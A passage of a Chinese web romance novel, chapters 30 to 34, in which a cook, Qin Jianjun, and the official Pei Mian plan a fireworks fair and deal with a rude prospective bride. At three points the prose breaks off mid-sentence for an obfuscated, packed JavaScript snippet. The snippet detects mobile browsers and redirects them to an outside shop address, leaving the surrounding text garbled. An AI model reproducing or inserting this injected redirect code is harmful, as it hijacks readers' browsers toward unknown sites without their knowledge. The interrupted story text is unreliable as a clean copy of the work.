好事啊,门当户对,若是沈小姐长得漂亮,那便再加个“郎才女貌”的头衔,简直天造地设...... 但秦见君直觉裴眠不会对那位沈小姐感兴趣......他不是还有远大抱负吗?要回虔渊州、要回朝廷的!怎么会被儿女私情绊住了脚步呢! 他应该就是像现代很多年轻人一样,无法违背爸妈的安排,只能去应付一下......对,应付一下,走个过场就回来了...... 但他还没回来......都快到晚饭时间了,他又吃不了外面的东西,饿了午饭,难道还要饿晚饭?沈小姐是什么天仙吗?能把他迷成这样...... 窗外雨景也不看了,秦见君垂着脑袋撅起嘴,正想着,门外传来裴小之的声音。 “秦小娘?你在屋子里吗?” 回来了? 秦见君连忙去开门,却只见裴小之站在屋檐下,肩上和发梢都挂着雨水,她悄悄垂眸去看,裴小之身后也没有轮椅,更没有轮椅上的人。 “你在就好,郎君回来了,午饭没吃什么,都吐了,老爷和夫人让我来嘱咐你,晚饭做清淡些。” “好。”秦见君应下了,见裴小之转身要走,她忍不住拽住了他的衣裳,“之管家......” 裴小之转过头,等她说话。 “裴......”她抿了抿唇,转而又问,“沈小姐漂亮吗?” 裴小之看秦见君一脸犹豫又好奇的样子,以为她是不敢打听,于是露出个和善的笑来,道:“想知道什么尽管问我,我知道你是个嘴严的,不担心你会说出去......” 说完,他从袖子里掏出一个小画卷,解了绳子,展开给秦见君看。 那上面画着个美人,衣着飘逸、五官精致、气质温婉,一看就是大家闺秀。 “这是......沈小姐?”秦见君的声音很轻,带着一丝不易察觉的失落。 “对啊。”裴小之将小画卷合上道,“郎君与沈小姐今日并未见面,只交换了画像,要过些日子才能见到真容呢......” “哦......”秦见君的头缓缓垂下去——还约了下次见,看来很满意嘛...... 31.第 31 章 入夜后,雨水也并未有停歇的意思,一直淅淅沥沥下着。 秦见君端着豆腐菌菇汤跟在袁原身边,走得小心翼翼,虽然汤盅有盖子,但她还是尽量避免了雨水滴在上面。 “大人收到了官家回信,让我来带你过去。”袁原的声音没什么起伏,语调听起来公事公办的,但步子却缓了许多,仔细配合着秦见君的脚步。 他将秦见君送到后便离开了。 秦见君将汤放在书桌一角,裴眠正专心写着什么,直到她走到面前了才抬头,眉目舒展,嘴角噙笑。 秦见君忽然觉得心跳有些乱,本来也才今日才想通自己对他的那点小心思,这会儿他还突然冲自己笑——他到底知不知道自己那张脸的美貌冲击有多强? “今日收到官家来信,准许我开办烟火大会。”裴眠看上去很高兴,“撤宵禁一事急不得,保险起见,还是先在绵州试点,若效果显著,便会慢慢推行至全大荆。” “嗯......”秦见君点点头,有些心不在焉的。 裴眠这才发觉她有些不对劲,眼神飘忽不定,声音也又轻又小。 “怎么了?身子不适?”裴眠问,想着今日雨大,怕不是吹风受寒了? “不是......”秦见君摇摇头,对上裴眠关切的目光,她先是高兴,裴眠如此关心自己,或许对自己也是......有那么一点意思的呢? 但很快,她膨胀的心情迅速消气,变成瘪瘪的一坨——才不是呢......不过是因为我会做饭罢了......我要是病倒了,谁来给他做饭啊? 裴眠眼睁睁看着秦见君的脸色千变万化,引得他都有些好奇了,什么事能让小厨娘如此纠结? “今日发生什么事了?” 秦见君懊恼自己藏不住情绪,却又不能坦白说,只好随口糊弄:“今天去大厨房吃饭,看见小丁他们在喝羊肉汤,我好久没吃羊肉了......馋......” 小丁便是那位说要给她送羊肉的采买小厮。 秦见君说话时,裴眠一直看着她,自然没有错过她的每个表情,当下便知道她在敷衍自己,但既然她不想说,自己也不能强求,便回道:“先前我不喜欢羊肉,便吩咐他们不要送到我面前,直接分食即可,倒是忘了如今多了一个你......晚些我让他们送些去厨房。” “好啊。”秦见君努力挤出一个自以为灿烂的笑容。 裴眠微微蹙眉,但也没说什么,转移话题道:“明日我要去灌水河边看场地,你去吗?” 秦见君来绵州这么久,主要活动区域都在知州府附近,平雅街南边她还真没去过。 于是第二日,秦见君跟着裴眠与裴小之、袁原一起出了门。 平雅街热闹依旧,经过一夜的雨水洗礼,路上的石板都干净了许多,路上有认识秦见君的,还同她打招呼。 “阿君啊,出来买菜?那你可晚了哟,今日的空心菜嫩生生的,早就被抢光了,卖的老李头这会儿都收摊回去了!”挎着菜篮的大娘拉着秦见君的手同她说话,脸上满是和蔼。 “不买菜,就出来逛逛。”秦见君低头看了一眼大娘的菜篮子,夸道,“这芹菜真水灵!” “你是个识货的......”那大娘正要继续聊,忽然感受到三道强烈的视线,她偏了偏身子,朝秦见君后头看去——三个男人,两个站着,一个坐轮椅戴着帷帽。 “哟......这位是?”大娘对戴着帷帽看不清脸的裴眠感到好奇。 秦见君转头去看裴眠,她不知道该如何说,若是直接说这是知州大人,裴眠对外貌这么在意......真这么说了怕是会生气,不然说是府中下人?可是哪有下人出门穿这么好的衣裳,还有人给推轮椅的? 正在秦见君纠结的时候,袁原开口了,直言裴眠的身份。 “知......知州大人?”大娘被吓到了,活了大半辈子也没见过这么大的官啊!她当街就要下跪,秦见君忙拉住了她。 但刚拉住,秦见君就愣住了——拉还是不拉啊?万一大娘因为被自己拉住了没下跪,坏了裴眠规矩怎么办? “无妨,不必行礼。”裴眠开口了。 大娘忙点头鞠躬道别,不敢再看裴眠了。 接下来的一路上都在重复这一段,秦见君恍惚中以为自己进入循环了,一直在被熟识的街坊打招呼询问,接着裴眠亮明身份,然后街坊下跪被她拉起来,最后街坊仓皇道别...... 到了平雅街南边,路上的行人少了,也没再遇见认识秦见君的街坊了,她不禁松了口气,转头去问裴眠:“之前看你不出门,还以为你不想让别人知道你......你坐轮椅的事呢......” 裴眠戴着帷帽,看不清脸色,但声音听着并不恼:“先前只是体力不支......” 确实被秦见君说中了,他不想别人知道自己坐轮椅之事,毕竟有心人只要稍微打听一下,便知道他从前在朝中任职,无比风光......再对比如今的自己,难免会收到一片嘲笑与怜悯,他不需要。 不过现下无所谓了,他几乎餐餐都能入口且不吐,同时还在坚持喝齐冬青给他开的药,想站起来应该不难,况且官家将烟火大会的筹办交给他一人,往后还需四处奔走、张贴告示,总是要给百姓看见的,不如大大方方的。 秦见君听了他的解释,虽有疑惑,但也勉强接受了。 “郎君,这些铺子前面都要划出来租给摊贩吗?”平雅街南被灌水河分隔成两边,铺子都挨着,只有门前的地是空着的,裴小之便问裴眠,这些地是否要利用起来。 “不能在铺子门前划,只将两家铺子中间的门前空地给划出来吧。”裴眠道,裴小之忙提笔在纸上记下。 “这些小巷子也划进去吧。”秦见君指着隔几间铺子便出现一条的巷子道。 “这巷子夜里漆黑,又窄又小......”听得出裴小之有点嫌弃。 秦见君脚下一转,走入巷子中,她略略估算了一下,这里并排能走下四个自己,划一半出来摆小摊子其实还是能行的。 “到时候撤了宵禁,就在这附近都点上灯,巷子不黑了,自然会有人进来的。”秦见君道。 裴小之跟在她身后走进巷子,横着从左走到右,没几步就走完了,撇嘴道:“这么小......能摆什么摊子啊?真的会有人在这里摆摊吗......” 秦见君点头道:“当然会有,这些巷子都挨着灌水河,烟花就在河对岸放,到时候这里一定是最热闹的地方,摊贩们挤破头也要进这里的,况且不是每个百姓都能摆大摊位,有些卖零散小货的百姓只需要一个盘腿坐下的位置就行了,若是能将带来的东西都卖出去,能够一家人吃上几天粮食呢......” 她在平雅街的小巷中见过这种摊贩,主街人满了,他们就窝在小巷子里卖东西,若是有人抄近路走小道恰巧入了巷子,便有概率成为他们的客户。 这些摊贩占地位置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589591|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好,相比主街的某些摊贩来说,会更注重货物品质和服务态度,毕竟每成交一单都是一个进项,家里人都眼巴巴望着呢...... 裴眠抬头看过去,只能看见秦见君的侧脸,她说这些话的时候,身子微微前倾,眼睛圆圆的,一副想要极力说服裴小之的模样,仿佛在这小巷子里卖东西的摊贩就是她一般...... 裴眠忍不住勾起嘴角——裴小之从小在裴府长大,并不知晓底层百姓是如何生活的,包括自己也是,在秦见君没有说出这番话之前,他也根本不会在意狭窄小巷中是否有摊贩。 但秦见君在意,她不仅在意,甚至还能感同身受。 “记下吧,巷子也划进去。”裴眠开口了,裴小之便点头应下。 秦见君转身去看裴眠,他一袭白衣坐在轮椅上,戴着帷帽,像个不食人间烟火的谪仙。 谪仙会懂凡人的烦恼吗? 无论如何,裴眠都将小巷子纳入了划分范围,目的达到,秦见君也就不再说话了。 四人继续往前,灌水河将平雅街南隔开成两边,中间架起一座座桥梁,又将两岸连接。 每座桥的样式都不同,但都足够宽敞,秦见君正要开口,便听裴眠道:“桥也划进去。” 她听了,下意识要阻止,便转身弯腰掀开裴眠的帷帽,白色帷帘轻薄顺滑,顺着她的手指被掀起,挂在帽檐上,裴眠抬眼去看她。 “怎么了?”裴眠被掀开帷帘也是有点懵,但掀帷帘的人看起来比他还懵,正傻愣愣地盯着自己看。 秦见君眨眨眼——怎么觉得这场景,像是自己迎娶了裴眠,在洞房前掀盖头一样...... 天气热,在外头走了许久,即便坐在轮椅上,裴眠也有些出汗,面上泛起薄红,眼角眉梢都仿若含情,看得秦见君心里直呼帅气。 “咳咳......”秦见君咳了两声,退开两步,顺手将帷帘又放了下来,遮住了裴眠的脸,还有他那双漂亮的眸子,心跳总算平缓了一点,这才开口道,“桥上别都划上吧,我看这座、这座......还有那座,可以不划。”她抬手指了指自己觉得样式比较好看的几座桥。 眼前落下白色薄帘,裴眠还没来得及问秦见君是什么意思,又听她说起桥,还指了几座出来,只好无奈地自己掀开帷帘,顺着秦见君手指的方向去看,而后又转头看向秦见君——既然要指桥给我看,都已经掀开帷帘了,怎么又给我盖上了? “刚刚......手滑......”秦见君对上裴眠的目光便心虚地移开了视线。 “为何不划这几座?”裴眠并不打算追根究底,只问眼下。 “这几座漂亮,又正好对着对岸放烟火的地方,到时候将桥上的地界租给有钱人摆桌吃饭,能赚不少呢!” 裴眠惊讶于她的经商头脑,示意裴小之赶紧记下来。 秦见君接着道:“但也别全都租出去,留两座靠后的桥......”她想起电视剧里,在桥上看烟花简直就是最适合表白的场景,想来大荆情侣也应该会喜欢这种氛围。 “留着做什么?”裴小之问。 “谈情说爱啊!”秦见君理所当然道,她仿佛已经看见了一对对小情侣在漫天烟火下互表心意——多浪漫啊!这场景就算是自己一个母胎单身都会觉得幸福好吗! “和谁?” 秦见君正沉浸在粉红泡泡中,丝毫没听出这语气中的生硬,顺嘴回:“喜欢谁就和谁一起看烟花、谈情说爱呗!” 32.第 32 章 自从那日有人在平雅街见到了传说中的知州大人,不久后绵州百姓就都知道了知州大人不良于行,出门要坐轮椅,以至于恰好腿上有伤要坐轮椅出门的人,一旦路过平雅街都会被人盯着看。 “你听说没?过几日绵州要办烟火大会!” “烟火大会?那是什么?” “你没去过虔渊州,自然不知道烟火大会是什么,那烟火升空炸开,璀璨无比!想当年我还在添河边见过官家嘞!” “真的假的?官家会来咱们绵州看烟火大会?” “那倒是没听说......不过知州府门前贴了告示,平雅街南边一片可以摆摊,正招人呢,官家来不来不要紧,咱们赚钱的门路可是有了!” “摆摊卖什么?” “告示上说但凡有手艺的,都可以入府去登记租摊子,只要不卖法纪不允许的,其他都可以卖。” “灯笼能卖吗?我只会糊灯笼......” “那你快去知州府试试啊!听说烟火大会时要撤宵禁,知州大人正筹备在绵州各处都加装灯笼呢!” 裴眠放出消息后,绵州各处都在讨论烟火大会,消息很快传了出去,附近州府的百姓也赶来看热闹,绵州大街上比平时热闹得多。 秦见君早上去了一趟菜市,买了些新鲜蔬菜回来。 她将圆白菜泡在水中端给裴眠,嘱咐道:“将叶子撕下来洗干净。” “嗯。”裴眠放了书洗手,然后开始洗圆白菜。 这几日裴眠都没再出过门,秦见君想,也许他早就将那个沈小姐给忘了,于是心情也好了起来。 “我刚刚上街,听到百姓们都在谈论烟火大会,这几日连客店的房都住满了,脚店和酒楼的生意都好了许多......”秦见君语气欣喜。 裴眠默默听着,并不说话,眼睛时不时看向秦见君手中的羊肉——那日从平雅街回来,他记着秦见君的话,便吩咐裴小之给她送羊肉,结果裴小之说采买小厮一个叫小丁的已经送了许多给秦见君...... 他忽地想起秦见君站在桥上说的话。 “喜欢谁就和谁一起看烟花、谈情说爱呗!” 她脸上挂着笑,明媚又灵动,眸子里亮晶晶的,仿佛周围的阳光都变甜了。 裴眠揪了一把圆白菜,漂亮的大叶子直接碎在了他手里。 “裴眠?裴眠?” “嗯?”他回过神,抬头去看秦见君。 秦见君微微蹙眉看着他:“你做什么呢?圆白菜都快被你捏干了。” 裴眠连忙松手,但为时已晚,碎成片的圆白菜叶子飘在水面上,随着微风缓缓移动。 秦见君走到石桌边看了看盆中的菜,叹了口气,道:“还想着烟火大会呢?都好几天了,每天魂不守舍的,烟火大会要开两个月呢,你不能每天都这样吧......” 说着,她将盆端回了厨房,裴眠还没来得及开口挽留,便听她喊了一声:“小丁!能麻烦你帮我洗个菜吗?” 厨房灶台后面钻出来一个灰头土脸的小厮,面容清秀,看着稚气未脱,他上前接过盆,放在台面上伸手去洗。 裴眠眯了眯眼:小丁?是裴小之说的那个小丁? 小丁与秦见君并排站着,手上洗着菜,还转头去同秦见君说话。 她看起来心情很好,说话的时候眼睛弯弯的,唇角也带着笑。 裴眠洗了手,默然重新翻开书,却再也看不进去了。 半晌,他闷闷地合上书,也没有叫秦见君,自己操纵轮椅离开,还没到石甬路上,袁原便从身后出现,推着他往书房去。 “叫小之过来。”到了书房,裴眠的眉头也并没有舒展。 裴小之正在给方涟沏茶,见袁原在窗外站着,便知道是裴眠找自己。 “夫人,郎君寻我呢,茶沏好了,我先退......” 方涟抬手按住裴小之的胳膊,偏头也看见了窗外的袁原,她压低声音道:“近日里秦小娘可有什么不对劲?” “不对劲?”裴小之茫然地眨眨眼,“没什么不对劲啊,每日做饭、喂锦鲤、去书房找郎君学字......说起来秦小娘真聪明,几天便能学完一本书,现下认得的字比我还多呢!” 方涟点点头,笑道:“她看着就很聪明的......”说完忽然反应过来自己不是要问这个,于是咳了咳又道,“她难道没有心情低落、烦闷?” 裴小之仔细想了想,肯定道:“没有。” “嗯......”方涟脸上明晃晃写着失望,轻叹了声道,“行了,你去找眠眠吧。” 裴小之满头雾水,进了书房后,看见自家郎君一脸的心情低落、烦闷,心中的疑惑就更大了——秦小娘看着挺开心的,怎么自家郎君的症状倒像极了夫人说的...... 裴眠的手搭在轮椅扶手上,食指一下下敲击着木质扶手,半晌才开口道:“我记得小丁是专管采买的?” 裴小之迷茫了一瞬,而后才反应过来“小丁”是谁。 “是的。” “那他怎么成日待在厨房里?”裴眠忍不住蹙眉问。 “厨房?”裴小之道,“采买小厮通常清晨出门,最迟早饭前就回来了,白日里都在府中各处帮忙做杂活,况且他们本就为厨房做采买,待在厨房帮忙......有何不妥吗?” 裴眠被说得哑口无言,但想起两人并排站在厨房中言笑晏晏的样子,心里还是没来由地闷。 见自家郎君一脸郁闷,裴小之也不知该如何是好,只能默默退出书房。 出了书房,裴小之对着院子里的树轻轻喊了两声,果然见袁原从树上跳了下来。 “郎君今日怎么了?”裴小之问。 袁原用他质朴又苍白的语言描述了厨房发生的事,好在裴小之想象力丰富,脑子里把这件事补充得有声有色。 “郎君这样......”裴小之的手指按在下巴上,犹疑道,“怎么像是在吃醋呢......” 袁原听了,也忍不住蹙眉,裴小之这么一说,结合裴眠的种种反应来看,倒真是有些像吃醋...... 裴小之虽然很想进书房问个清楚,但想起郎君那好面子的性格,他还是忍住了,不如去厨房看看情况。 裴小之走后,袁原重新回到树上,可不一会儿他又跳了下来,进了书房。 “何事?”裴眠头也不抬,看着桌上的城防图纸,烟火大会还有三日便正式开放了,当晚会撤除宵禁,人员混杂,需在城防布局上多加谨慎才行。 “大人......”袁原开了口,却不知要怎么说下去。 难得袁原说话也有如此吞吞吐吐的时候,裴眠放下笔,看着他。 被裴眠盯着,袁原知道不能浪费他时间,便一鼓作气开口道:“我想租摊位。” “嗯?”裴眠从鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598593|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腔里发出声音,他有些意料不到,自家木讷刚直的暗卫,怎么会忽然想到去摆摊? “我有个兄弟,先前的主人家破败,举家搬离了虔渊州,他......他断了一只手,主人家不要他,这次听说绵州有烟火大会,想来赚点银钱。” 裴眠听完便垂下眸子,袁原哪里有什么亲兄弟,他嘴里的兄弟,都是同他一样,从那种地方出来的...... 断了手就意味着身手不如从前,主人家不留也是正常的,但他们身上通常带着许多秘密,主人家怕他们泄露出去,并不会放他们离开,而是直接杀了,袁原的这位兄弟倒是个例外。 “他的卖身契呢?”裴眠问,租摊位事小,但如果他那位兄弟的卖身契还攥在主人家手里,那便是隐患,不知哪日主人家想起他,便可以将他灭口。 “毁了,那主人家走之前,将卖身契还给他,许了他自由。”袁原道。 裴眠不知其中缘由,但也愿意相信袁原,便点点头,从书桌上厚厚的一沓纸张中抽出摊位划分图递给袁原道:“朱笔圈住的已经租出去了,剩下的位置你挑一个,但租金一分不能少。” 袁原接过摊位图纸,丝毫不觉得“租金一分不能少”这话有多不近人情,在他心里,裴眠向来是这样的人,愿意为情分通融,但并不坏规矩。 他觉得这样很好,如此以来,即便收这情分的人往后犯了错,也追究不到裴眠身上,不用牵扯过密,心中便也不会有太多愧疚与顾虑。 “我能带回去给他挑吗?”袁原问。 “嗯,拿去吧。”这摊位划分图修了几十版,都是裴眠一笔一划描出来的,早已烂熟于心,不在乎多一张少一张的。 袁原拿了图纸却还没走,杵在那儿像根柱子。 于是裴眠问:“还有事?” 袁原犹豫了一下,摇头,转身要出去。 裴眠虽然觉得奇怪,但也无暇多想,继续低头看城防。 “大人......” 没想到袁原又转回身开口了。 裴眠好脾气地抬头看着他,等他继续说下去。 裴眠长相俊美,又出身高贵,这样含着金汤匙长大的少爷,性子骄纵些,甚至跋扈蛮横些,袁原都是理解的。 可裴眠并没有这样,他能沉得下心看书,在朝堂上和老狐狸们博弈也足够冷静谨慎,吃不下东西后心绪不佳,也只是不理人,从不将心中的痛苦迁怒于旁人...... 袁原从小便习惯了看着兄弟们被买走,幸运的能活一段日子,不幸的便连尸首都没了。 他时常觉得自己是极其幸运的,被裴眠买回来,虽也共同经历过几次险境,但裴眠却从不丢下他,就好像......就好像他的命也很重要似的...... 只是这样聪明又心善的裴眠,如今连站都站不起来,不复当年打马游街时的气盛。 好在秦见君出现了,自从她来了府上,裴眠便能吃下东西了,连齐大夫都说他身子在好转,秦见君简直就是福星。 而且秦见君也是个极心善、极温柔的小娘子,长得也好看,在袁原心中,她与裴眠是顶顶相配的。 如果两人能在一起,那自己下半辈子便会死心塌地地护着两人,裴眠不会再因为吃不下东西而亏空身子,秦见君也不用回到井沟村那个偏僻村庄...... “大人......”袁原问,“你是在吃秦小娘的醋吗?” 33.第 33 章 裴眠不知道最近是怎么了,方涟与袁原都以为自己喜欢秦见君。 “何出此言?”裴眠问,他有些想不通,只是对好友多加关心,就能被误会成喜欢? “您看见秦小娘和小丁站在一起,脸色都阴沉了,而且平日里您在厨房一待就是一整日,今日却突然回了书房。”袁原说话还是那样平铺直叙,但却让裴眠觉得有些不自在起来。 他今日确实有些反常,但不是因为吃醋,只是...... “小丁在府中做采买,工钱不算多,秦见君以后想开酒楼,于她而言,小丁那点工钱是并无助力的......”裴眠道。 袁原有些听不懂:“可感情之事哪里会有这么多衡量与计较?两人只要谈得来......” “谈不来。”裴眠出声打断道,“小丁识字不多,他与秦见君除了家长里短还能谈什么?” 袁原没有家室,但没吃过猪肉也见过猪跑,天底下大多数夫妻都是一样的,围着屋子、围着孩子,于是他开口道:“可这世上多数夫妻,每日谈的也只有家长里短。” 裴眠蹙眉,呼吸有些急促起来,可半晌过去,又想不出什么反驳的话,只好道:“你不知道,秦见君她与寻常乡野女子不同,她......总之小丁配不上她。” 袁原想了想,问:“那大人觉得,什么人配得上秦小娘?” 那自然是样貌、学识、地位样样出色的,要为人正直,有抱负有理想,不滥情、不喜怒无常...... 裴眠愣住——这些条件不就是从前的自己吗? 他忽然有些慌乱,他对秦见君确实只是好友之间的惺惺相惜啊...... 她厨艺好、性子好,心地善良、坚强勇敢,最重要的是,她足够聪明博学,头脑灵活却不耍心机,是与他一样能够坚守本心的人。 可若是一定要在这世上寻一个女子,那他觉得此人只能是秦见君。 “大人?”袁原见裴眠陷入深思,呆坐着一动不动,便出声询问。 “嗯?”裴眠回过神来。 “若是大人真的不喜欢秦小娘,那我便去回禀夫人了。” 裴眠这才发觉,方涟怕是都早自己一步看出来了,只有自己傻乎乎觉得那是纯洁的友情...... 另一边,裴小之站在厨房外,看到秦见君与小丁正并排站在一起说笑,气氛十分和谐。 直到裴小之进了厨房,秦见君才发现裴眠不知何时离开了。 “秦小娘,今日有什么好吃的?”裴小之状似不经意地插入两人之间,将小丁挤到了边上。 “茶香虾仁、醋溜手撕圆白菜和冬瓜肉丸汤。”秦见君答道,丝毫没注意小丁被挤开了。 “听着就香!”裴小之无脑赞叹,顺便侧头对小丁道,“大厨房那边缺人手,你去帮忙吧,这里有我就行。” 小丁只好洗干净手离开了。 “我能做什么?”待小丁彻底离开了厨房能看见的范围,裴小之才开口问秦见君。 秦见君正在挑虾线,闻言便将装着虾的盘子递给裴小之:“把虾线挑了吧。” 说完她又转身去取猪肉,准备切开剁肉馅。 裴小之朝她看了好几次,最终还是没忍住,问道:“秦小娘,你觉得我们郎君怎么样?” “嗯?”秦见君停下刀,看向裴小之。 “就是......你觉得我们郎君好不好?” 这是员工调差问卷?秦见君想了想道:“好啊,脾气好、胃口好,不拖欠工钱,很好!”说到这儿,她勾了勾唇角——好得我都动心了。 “那......”裴小之假装低头专心挑虾线,顺嘴问道,“是小丁好还是我们郎君好?” “啊?”秦见君有些搞不懂了,老板和员工还能放一起比较的? 裴小之迫切想知道她的答复,于是放下手中的虾,有些焦急道:“就是......” 话还没说完,外面忽然跑进来一个小厮,气喘吁吁的,张嘴就喊:“之管家!不好了!” “什么事?”裴小之忙洗了手,上前问那小厮。 小厮跑得满头大汗,见了裴小之忙冲上来道:“沈府小姐来了!” 秦见君一愣,沈府小姐?前段日子跟裴眠相亲的那个?上次裴眠去沈府,也只是交换了画像,怎么今日突然亲自登门造访? “来便来了,怎么就不好了?”裴小之问。 “她......她进门就给了看门的小吴一耳光,说他开门太迟!”小厮喘着气道,“而后又派人将池塘里的荷花都折了下来!” “什么?”裴小之有些急了,那一池子荷花都是裴眠交代过要精心照料的,这就被沈小姐给毁了? 秦见君听着也十分诧异,明明画像上的美人透着一股温婉气息,怎么行事作风如此蛮横? “你快去看看吧,这里我自己来就行。”秦见君对裴小之道。 裴小之便跟着那小厮走远了。 午饭时裴小之来取菜,说是老爷夫人在前厅设宴招待沈小姐,裴眠也要出席,所以秦见君做的饭菜也要摆上桌,让秦见君稍稍摆盘,做得精美些。 秦见君有些犯难,她做的本就是家常菜,再摆盘又能精美到哪里去? “唉......”裴小之也叹了口气道,“那便算了,你随我一起去前厅候着吧,你别怕,若是沈小姐要拿错,还有郎君护着呢。” 秦见君忙脱了围裙,擦干了汗,重新整理了头发,这才跟着裴小之往外走。 裴府前厅十分宽阔,在中间摆上一张大桌子也不显得拥挤,周围零星站着些下人,秦见君就混在其中。 她悄悄抬头去看那位沈小姐——比画像上还漂亮,端坐在桌前的样子明明就恬静又温和,怎么会突然扇人巴掌呢? “婉婉啊,喜欢什么就多吃些,别客气。”方涟用公筷给沈婉夹了点鱼肉,面上带着笑与她说话。 没想到沈婉并未搭理方涟,伸手指着桌上明显和其他菜色不同的茶香虾仁道:“这是什么?” 秦见君做的菜都放在裴眠面前,那沈小姐与裴眠坐对角离得远,却还是坚持要过来挑错,这下秦见君都忍不住蹙眉了。 “茶香虾仁,沈小姐若是想吃......”裴眠话还没说完,沈婉忽然摔了筷子。 “本小姐最讨厌虾!桌上不许放虾!”她声音不算大,却十分清晰。 裴眠微微蹙眉,但在方涟与裴礼卿的示意下,他还是让裴小之将虾仁撤了下去。 沈婉又扫了一眼桌上的菜色,面上还是不开心:“看着就没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607349|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胃口,恶心。” 方涟与裴礼卿都忍不住皱眉了,素闻沈府小姐学识渊博、品行高洁,怎会如此不知礼数?但她又确实同画像上长得一样...... 气氛一时僵住,没人说话,沈婉抬头扫了一眼周围的下人们,指着秦见君道:“你,过来。” 秦见君便硬着头皮站了出来,这下桌上四人的目光都看向了她。 “你叫什么?” “秦见君。” 沈婉点点头,让她到桌边来,问:“哪些是你做的?” 秦见君上前,并未提方才被撤下去的虾仁,而是指了指醋溜圆白菜道:“这道醋溜圆白菜是我做的。” 沈婉顺着她指的方向看过去,而后道:“那你说说这道菜如何?” 这场面秦见君不算陌生,从前在含萃楼时,她经常跟着韩思霖去客人包厢里介绍菜色,有些客人习惯用餐前跟主厨交流菜色。 “这道醋溜圆白菜选用的圆白菜脆嫩甘甜......” 话音未落,“嘭”的一声,沈婉抬手端起醋溜圆白菜的菜盘扔在了地上,瓷盘应声而碎。 “都下去。”方涟屏退下人们,只留了桌上人与裴小之、秦见君在前厅。 下人们都低着头不敢看,行过礼后便离开了,前厅一时又静了下来。 “沈小姐。”裴眠开口了,他声音有些冷,“虽不知沈小姐此次登门是何意思,但今日这番未免太过了,裴府自认并未有得罪沈府之处......” “自然是没有得罪。”沈婉打断了裴眠的话,起身缓步走到裴眠身前,居高临下道,“可裴家不是想与我们沈家结亲么?” 两家心照不宣的事就这样被直白地摆到台面上来,大家的脸上都有些僵住。 “既要结亲,那我自然是要看看我未来夫家,是否一切都合我心意。”沈婉虽是对着裴眠说话,却并未低头将就坐在轮椅上的他,反而微微仰着头,垂眸看他。 “沈小姐,议亲是家中长辈商量,眼下还未有准话,你如此贸然前来,不合礼数。”方涟开口了,她爹方第声与沈婉的爷爷沈叠山是旧识,她尚在闺中时听过沈婉的身世。 沈婉刚出生不久,她爹便随军出征,死在了沙场上,她娘收到丈夫身亡的消息,日日以泪洗面、茶饭不思,没多久也病逝了。 沈叠山听说了这消息,在宫中领完凯旋封赏便匆匆接回了沈婉,从此沈府只有爷孙二人相依为命。 方涟依稀记得,方第声提起沈婉时说是个温和的孩子,怎么如今性情大变? “确实不合礼数,裴夫人教训的是。”沈婉转头看向方涟,嘴上说着软话,表情却依旧傲气,她行了个礼,随口道,“是我不懂礼数了,今日贸然打扰,还望裴老爷与裴夫人见谅。”说完也不等裴礼卿与方涟说话,自顾自转身出了前厅。 沈婉经过秦见君时,秦见君发觉她似乎在发抖,可擦身也只是一瞬的事,秦见君也不确定自己有没有看错,于是眼神追着沈婉一路出了门。 “秦见君。” 身后响起裴眠的声音,秦见君转身去看,他脸色很差,蹙着眉,唇角也绷得平直。 “怎么了?”秦见君走上前问。 裴眠没说话,只上下打量她,半晌才问:“方才伤着你了没?” 34.第 34 章 “没有......”秦见君有点愣愣的,眼见着裴眠的神色由担忧转为温柔,她忽然觉得裴眠有点不一样,但具体哪里不一样,她又说不出来。 “你先去休息吧。” 秦见君看裴眠似乎要与裴礼卿、方涟说话,于是点点头走了。 裴小之与秦见君一起退出了前厅,两人同路往池塘那边走去。 秦见君一边走一边忍不住问裴小之:“沈小姐向来是这个性子吗?” 裴小之的圆脸皱了起来:“听说是个大方温柔的小姐,不知怎的,本人竟是这样......” 秦见君左右看了看,没有其他下人,便接着问:“那之管家觉得这亲事还能成吗?” 虽然这么想有些卑鄙,但秦见君私心并不想这亲事顺风顺水,自己对裴眠的那点小心思才刚萌芽,若是他成亲了,自己一定会辞了职务离绵州远远的,免得见了他徒增伤心...... 裴小之听秦见君这么问,忽然转头看向她:“问这个做什么?” 他脸上明晃晃写着“好奇”,圆圆的眼睛投出的目光有如实质,差点在秦见君身上戳出洞来。 “就......问问,毕竟府上要添女主人的话,我们还是要早做准备......” “什么准备?”裴小之追问。 “比如......饭菜要多做一个人的......”秦见君说着,慢慢低下头——她一点都不想再多做一份饭菜......尤其那位沈小姐看着就不是善茬,在一众下人里挑出了自己,明摆着是冲自己来的,她若是入了府,那自己肯定没有安生日子过了。 “我看这样子......亲事怕是要告吹了......” “真的吗?”秦见君抬起头欣喜道,她的语气转变太快,听得裴小之都愣了一下。 